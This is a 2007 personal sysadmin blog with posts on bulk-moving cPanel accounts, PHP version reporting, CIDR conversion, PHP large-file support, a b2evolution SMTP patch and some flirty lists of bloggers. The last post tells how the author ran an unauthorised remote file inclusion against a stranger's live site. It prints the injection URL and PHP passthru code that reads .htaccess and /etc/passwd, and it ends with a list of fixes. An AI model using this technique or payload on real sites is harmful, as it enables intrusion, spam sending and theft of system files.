Mass-Moving cPanel Accounts

Posted by Nessa | Tags: , | Posted on October 22, 2007

15

If you’ve ever needed to move a ton of cPanel accounts from one server to another, you probably know the following:

  1. The multiple account move feature in WHM fails miserably
  2. It takes forever to do them one by one, esp. when you have other things to do

I figure the best way to mass-move accounts is by listing all the accounts in a file, then using a simple bash script to repetitively package all the accounts to they can be moved to another server.

First, you need to create a file (like users.txt) to list all the users you wish to move. If you’re only doing a few you can just go ahead and list the users in there manually, but if you’re doing like a whole server, you can get all the users in one file like so:

ls /var/cpanel/users > users.txt

You’ll then need to manually edit the users file and remove the ‘.’ and ”..’ entries, and any others that should not be included. The users.txt file should also be in a format like this:

user1
user2
user3

Next, you may want to set up an SSH key between servers so all the cpmove files and be transferred automatically. If you don’t know how to do this, here is a simple and straight-through tutorial.

Create a bash script called ‘cpbackup.sh’ with the following lines:

#! /bin/bash
for i in `cat users.txt`; do /scripts/pkgacct $i; done
scp -r /home/cpmove* root@server:/home
echo "Account backups done" > email.txt
mail -vv -s "Account backups done" your@emailaddress.com < email.txt


This will run cPanel backups up all the accounts listed in users.txt, scp them over to the new server, then email you when it’s done. Note that if you do not have SSH keys installed, you will have to manually type in the new server’s password when the script is ready to transfer the accounts over.

The on the new server you can use the same script and users.txt file, just change it around:

#! /bin/bash
for i in `cat users.txt`; do /scripts/restorepkg $i; done

This will restore all the user accounts that you copied over. From there, you’re all done!
One simple note: I’m not a shell programmer so I’m sure there are a lot better ways to accomplish this..if so, you can post them in a comment. The downside of using this method to move accounts is that all of the accounts are backed up in order so if you have a hundred some users, the backup files might be sitting on the server for hours until they are moved and restored, so you’ll want to make sure that your users are not making changes to their sites during the move process. Also, since the backup files are stored on the server it’s a good idea to figure out how much disk space you are going to need to avoid going over. You may be able to modify the script to do groups of 10-20 then delete the cpmove files if disk space is a concern.

PCLinux OS is Kind of Sexy

Posted by Nessa | Tags: , | Posted on October 18, 2007

1

I recently became pretty fond of Ubuntu when I installed it on my work computer after dealing with daily crashes of Windows XP Pro. I find it to be a lot easier to manage, though it sucks that some software is still not compatible with Unix and installing a wireless network card is about as hard as finding a 34D push-up bra at Victoria’s Secret. I mean, it’s a lingerie store…you’d think they’d have a bigger push-up bra. Maybe I want my boobs to peek out of my shirt every once in a while…or maybe I’ll decide to turn tricks someday and need a good “come get me” outfit. I also just realized that this is the third time today I went off on a tangent about boobs.

So anyways, out comes PCLinuxOS which is a new OS determined to be the bridge between Linux and Windows, targeted towards beginner Unix-ers who aren’t quite ready to kick Microsoft to the curb. It’s not quite the Gnome desktop, but rather a Windows Vista-inspired interface powered by a Linux core. I think it’s a good idea and will probably help the world see that Windows is officially the dead rat in the soup, by converting end users over to Linux. Best off, it’s completely free and can be downloaded here.
I don’t have any plans in the near future to use PCLinuxOS since I’ve become very content with Ubuntu, but If you’re a beginner to Unix you might want to give this one a look and let me know how it works.
Screenshots

Using PHP to Display Version Info – Part II

Posted by Nessa | Tags: ,,, | Posted on October 17, 2007

3

Earlier I showed some examples of commands you can use to pull software versions into a simple PHP script. In the next example I’ll show how to do the distro and kernel versions. I’m sure that there’s a much simpler way to do this (i.e. a simple cat command on the /proc/version file), but I figured I’d use a more advanced example in the form of a function. I did the distro as a variable to show how easy this is:


<?php
function kernelinfo () {
$buf = exec( 'cat /proc/version');
if ( $buf == "ERROR" ) {
$result = "N.A.";
} else {
if (preg_match('/version (.*?) /', $buf, $ar_buf)) {
$result = $ar_buf[1];


if (preg_match('/SMP/', $buf)) {
$result .= ' (SMP)';
}
}
}
return $result;
}


$distro = exec('cat /etc/redhat-release');


$kernel = kernelinfo();


echo $distro;


echo "<html><br></html>";


echo $kernel;

?>

This will show a result of the following, obviously various depending on your platform:

CentOS release 4.5 (Final)
2.6.9-023stab033.9-enterprise (SMP)

Keep in mind that this script (as the last) requires the ability to pass shell commands through PHP. So, you would need to be able to the exec function, or replace it with system, passthru, escapeshellcmd, or shell_exec if those are allowed in your php.ini configuration. Also, if you run PHP as an Apache module, this will not work if you have open_basedir protection enabled.

Using PHP to Display Version Info

Posted by Nessa | Tags: ,,,,,, | Posted on October 15, 2007

3

I’ve been working on this application for work that does some simple server reporting, part of which involves displaying the versions of major software running on the machines. The importance of this to me personally is that since we have over 30 shared servers hosting multiple customers, we are continually moving websites between servers. Some of our older generation servers are still running MySQL 4.0 and PHP 4.3, so I need to be aware of this to make sure that customers are being moved to servers with compatible versions. It’s also good in tracking and planning upgrades.

I find it best to use the exec() function since it’s not blocked by most hosts. However, if you are on a shared host it’s very likely that certain PHP functions are disallowed in the php.ini. In that case you may be able to subsitute exec with system, passthru, escapeshellcmd, or shell_exec…unless those are blocked too. Then I guess you’re out of luck.

Start by creating some variables to store ordinary shell commands. If you wanted to find the php version from command line, you would usually type:

php -v

This will give a huge chunk of crap that you really don’t need if you’re making a simple version display script. In this case, you can use grep, awk, sed, and cut to trim down the output into a one-liner:

php -v |grep built |awk {‘print $2′}

The awk command prints out columns, so in the above example I’m printing out the second column of the line that contains the word ‘built’. Once the desired output is figured out, you simply assign it to a variable passed through exec() or a similar function:


$phpver = exec("php -v |grep built |awk {'print $2'}");

Then you can call the variable $phpver anywhere in your script:

echo "PHP Version: $phpver";

You can probably go through and figure out the commands to show other software versions on your server. In my script I’m showing the perl, php, mysql, apache, python, cpanel, and ruby versions. Here are the commands I used:

<?php

$perlver = exec("perl -v |grep linux |awk {'print $4'}|sed -e 's/v//'");
$phpver = exec("php -v |grep built |awk {'print $2'}");
$mysqlver = exec("mysql -V |awk {'print $5'} | sed -e 's/,//'");
$apachever = exec("apachectl -v |grep version |awk {'print $3 $4'}|sed -e 's/Apache\///'");
$pythonver = exec("python -V 2>&1 | sed -e 's/Python //'");
$cpanelver = exec("cat /usr/local/cpanel/version");
$rubyver = exec("ruby -v |awk {'print $2'}"); ?>

Then I just echoed out all the variables to display my version numbers:

See here .

Ugh….CIDR

Posted by Nessa | Tags: , | Posted on August 28, 2007

0

I kinda wish I paid attention in class when the professor was talking about CIDR notations and shit…because it would have come in handy tonight. But being that I’m lazy I did some looking around and found that there’s a perl module out there that will convert an IP range to CIDR for you with a simple 4-line script. You’ll need to install the Net::CIDR module for this to work
If you’re on cPanel just type:

# /scripts/perlinstaller Net::CIDR

Here’s the script:

#!/usr/bin/perl

use Net::CIDR;

$range = shift;

print (join(“\n”, Net::CIDR::range2cidr(“$range”)) . “\n” );


Usage:

root@vps [~]# perl convert.pl 192.168.0.1-192.168.1.1
192.168.0.1/32
192.168.0.2/31
192.168.0.4/30
192.168.0.8/29
192.168.0.16/28
192.168.0.32/27
192.168.0.64/26
192.168.0.128/25
192.168.1.0/31

Size Matters with PHP

Posted by Nessa | Tags: ,,, | Posted on August 27, 2007

0

I figured this might be helpful to post since it seems to be a fairly common issue poking up about PHP’s limits in regard to file size. It’s no secret to fellow programmers that PHP is incapable of readily handling files over 2gb on the typical 32-bit system, but others are easily aggravated with a greeting of errors that look like this:

PHP Warning: ……. failed to open stream: File too large in ……..

Generally I’d say that if you’re trying to get PHP to man-handle huge files you’d need to have one badass server that can take that kind of abuse. Before you go about trying to compile PHP with large file support, you may want to consider passing the ‘split’ command through the system or passthru functions to break your massive files into smaller bits so PHP can handle them. If you’re the type that has to go about everything the hard way, then I guess that’s why you visited my site.
To compile PHP with large file support, you need to add a simple compiler flag preceding your configure statement. This should look as so:

# CFLAGS=”-D_FILE_OFFSET_BITS=64″ ./configure –with-modules-that-i-use

Then your make && make install and (if all goes without error) you should now be able to work with large files with PHP.

Too bad nothing’s really straight forward, eh? Apache itself has a filesize limit too (even up to 2.2.4) so don’t waste your time trying to get your newly-compiled PHP installation to work with Apache. When I was first trying to work this out I figured that it’s best to have two PHP installations, one for Apache and the other just for the CLI.

To do this, create yourself a phpinfo file and copy the configure line, removing the single quotes from around each flag. Two things you’ll want to change though:

  • Remove the ”–with-apxs2=/usr/local/apache/bin/apxs‘ (or similar) flag to keep the installer from compiling against Apache
  • Change your –prefix to a different location. I used ”–prefix=/usr/php-lfs’ .

When the installation is done, make it easier on yourself by creating some symlinks to the new binary:

ln -s /usr/php-lfs/bin/php /usr/bin/php5

ln -s /usr/php-lfs/bin/php /usr/local/bin/php5

This way you have your LFS-compiled PHP version in /usr/bin/php5 to use for your scripts. To call them, you’d use:

php5 /path/to/script or /usr/bin/php5 /path/to/script

What if you actually want to call the script from a browser? Well, you still can’t load a large file in the browser itself, but you can process it through a script to have a process run on the server:

<?php passthru('/usr/bin/php5 myscript.php'); ?>



And that should pretty much do it.

b2Evolution SMTP Patch

Posted by Nessa | Tags: , | Posted on August 8, 2007

6

Update (4/21/09) – This plugin is obsolete and is probably never going to be updated…use at your own risk!

I was debating whether or not to publish this since I wrote it mainly to target our customers, but I figured it might help someone who needs it.

Many hosting companies block PHP mail coming from the user ‘nobody’, which is a default if your host runs PHP as an Apache module. At the time of my writing, b2evolution does not support STMP, so I created a simple patch that will allow you to use phpMailer to send mail through SMTP instead of the send_mail() function that b2 uses.

Download b2evo_phpMailer-1.03.tar.gz (76k)

Requirements:

  • b2evolution 1.9.x or higher (tested with 1.9.3, but may work with other versions)
  • php 4.3.1 or higher (required by b2)
  • Valid SMTP server

Usage:

The instructions are specifically outlined in the readme.txt file within the archive, but it’s basically as simple as:

  1. Edit the ‘settings.php’ file in htsrv/phpmailer
  2. Upload the patched files to their corresponding locations on your webserver

And yea…that’s it.

Notes:

– This script was tested on a Linux platform running on cPanel, so the actual email setting and port numbers could be different on your server. If you are unsure about this, please ask your host.

– phpMailer does not explicity support SSL or TLS connections yet, so neither does this patch. You can essentially connect through any port as long as 1) your server runs SMTP on it and 2) it doesn’t require SSL or TLS.

I am not affiliated with b2evolution, so please do not contact me with questions about the software that do not pertain to the usage of this patch. This patch was mainly written to make b2evolution functional on some of our servers that block php mailing, and is not meant to be a major project. That being said, if you’re having difficulty getting my patch to work with your installation I would love to know about it, but please do not make your expectations too high. I have a life too =)

Top 8 Hottest Manbloggers

Posted by Nessa | Tags: ,, | Posted on August 7, 2007

20

I got this idea from a comment I wrote about Aaron Brazell in my last post that he responded to, and I figured I it wouldn’t hurt to turn my own blog into a meat market. I know they’re tempting to look at, but who said that hot guys can’t write blogs?

Top 8 sexilicious bloggers (in no particular order), as well as their locations so you can stalk them:

Justin Durban from justindurban.com – Burbank, CA

Shelby DeNike from fauxzen.com – Los Angelos, CA

Ronald from 0x000000.com – Somewhere in the Netherlands, but usually in my bedroom

Aaron Brazell from technosailor.com – Baltimore, MD

Chris Shiflett from shiflett.org – Brooklyn, NY

Christian Mohn from h0bbel.p0ggel.org – Bergen, Norway

Michale Sica from michaelsica.com – Orlando, FL

Luke Welling from lukewelling.com – Washington, D.C.

If you’re a sexy blogger and you’re wondering why you’re not on this list, it’s probably because 1) I’ve never seen your site, 2) you don’t have a picture up, or 3) you’re not attractive. Of course you can always email me, since I’ll probably need some convincing.
Update: Apparently I’m not the only one who thinks the OmniTI guys are hot as hell…

 

Sexy Sites of the Week – 8/3

Posted by Nessa | Tags: | Posted on August 3, 2007

3

.::technosailor.com::.

I probably shouldn’t list a site that everyone already knows about, but if this blog was a toilet seat, it would be getting a lot of @$$. Not to mention the author doesn’t look too bad either.

.::panopticist.com::.

It’s been a while since we’ve heard anything from the panopticist, but he’s still the most well-known for his magazine covers and his overwhelming sense of “cultural surveillance” that kind of makes me wonder if he spends his Friday nights in the company of channel 961 with a roll of paper towels and some Crisco.

.::depiction.net::.

This site is more of a tutorial-based approach for new and experienced webmasters, so I thought it would be good to list here. What? Were you expecting some kind of witty but slightly sexual comment? From me? Nooooooo

.::simplehelp.net::.

Honestly, most of this site is completely not interesting by any means, but they do have a kick- ass list of web 2.0 resources that most webmasters would find sexilicious.

Dun Dun Dunnnnnnnnn

Posted by Nessa | Tags: ,, | Posted on August 3, 2007

3

Just a nice life lesson for my fellow lazy programmers:

I was looking at this site the other day in class while I was researching some crap on sub-netting (which is not one of my high points btw) and I noticed an all-too-obvious URL structure that just screamed “hack me! please!” It’s a pagerank 5 site so I know that it’s getting quite a bit of traffic, so I’m surprised this hasn’t happened enough to the point where the site developer would fix his shit. Probably an example of the worst URL compilation I’ve seen in a while:

http://hiswebsite.com/index.php?page=subnett-2.php

I wrote simple php mailing script called ‘spam-me.php’ and uploaded it to my school space, then ran it off the guy’s site. I think I sent one of my professors an email about how unsatisfied his wife is, simply by tacking on my URL as the page definition:

http://hiswebsite.com/index.php?page=http://students.ecpi.edu/~<omitted>/spam-me.php

It was even better when I was able to view his .htaccess and /etc/passwd files by writing using the passthru function in another script that I ran from his site:

<?php passthru("cat ./.htaccess");
passthru("cat /etc/passwd");

?>

Since I’m a good person I emailed the guy about this little security problem of his. I can’t say he took it very well (it was more like someone killed his dog and left parts of it bundled up in gift wrapping on his doorstep), but the next day he took his site down. I made a point to mention that this wouldn’t have happened if he:

  1. Used the file_exists() function to specify what filenames can be presented in his URL
  2. Had mod_security installed so I couldn’t view his .htaccess
  3. Maybe disable allow_url_fopen so my site couldn’t be called as an include
  4. Had open_basedir protection so his system files can’t be accessed by php

Worse case I could have sent out a school-wide email offering penis enlargement pills, and then execute a root kit on his server. But then again, I’m a nice person, remember?